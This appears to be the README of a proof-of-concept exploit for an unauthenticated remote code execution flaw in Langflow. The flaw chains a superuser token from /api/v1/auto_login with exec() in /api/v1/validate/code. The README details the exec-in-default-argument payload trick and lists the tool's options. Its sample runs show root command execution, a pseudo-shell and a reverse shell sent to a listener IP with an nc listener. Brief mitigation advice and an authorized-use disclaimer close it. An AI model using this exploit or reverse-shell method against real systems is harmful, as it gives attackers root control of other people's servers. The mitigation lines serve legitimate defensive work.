
Unauthenticated remote code execution in IBM Langflow OSS (1.0.0 – 1.10.0) on a default deployment. Chains two flaws:
GET /api/v1/auto_login mints a SUPERUSER JWT to any
caller with no credentials whenever AUTO_LOGIN is enabled (the default in
Langflow < 1.5).POST /api/v1/validate/code passes user-supplied Python to
exec() with no sandbox.Together (CVE-2026-9198) an unauthenticated attacker gets code execution as the
Langflow service user — which is frequently root.
Requests a superuser bearer token from /api/v1/auto_login (no auth).
Submits a payload to /api/v1/validate/code. The endpoint exec()s the code to
"validate" it; Python evaluates default argument values at definition time, so
the payload is wrapped in a function default argument:
def _v(a=exec('<payload>')): pass
For command execution the payload raises an exception whose message is the
command output, which the endpoint reflects back in the response
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install needed)AUTO_LOGIN is enabled (the default for Langflow < 1.5; on
>= 1.5 it must be explicitly LANGFLOW_AUTO_LOGIN=true). If auto_login returns
no token, the target is not exploitable via this path — supply a valid token with
-k if you have one.function.errors[]; stderr is
merged into stdout so failing commands still show their error.root (common with
bare langflow run under systemd/Docker-as-root), this is direct host root.validate/code must not exec()
untrusted input and auto_login must not mint superuser tokens.LANGFLOW_AUTO_LOGIN=false and configure real superuser credentials.root.This project is published for authorized security testing and educational purposes only. Do not use it against systems you do not own or have explicit permission to test. The author accepts no liability for misuse.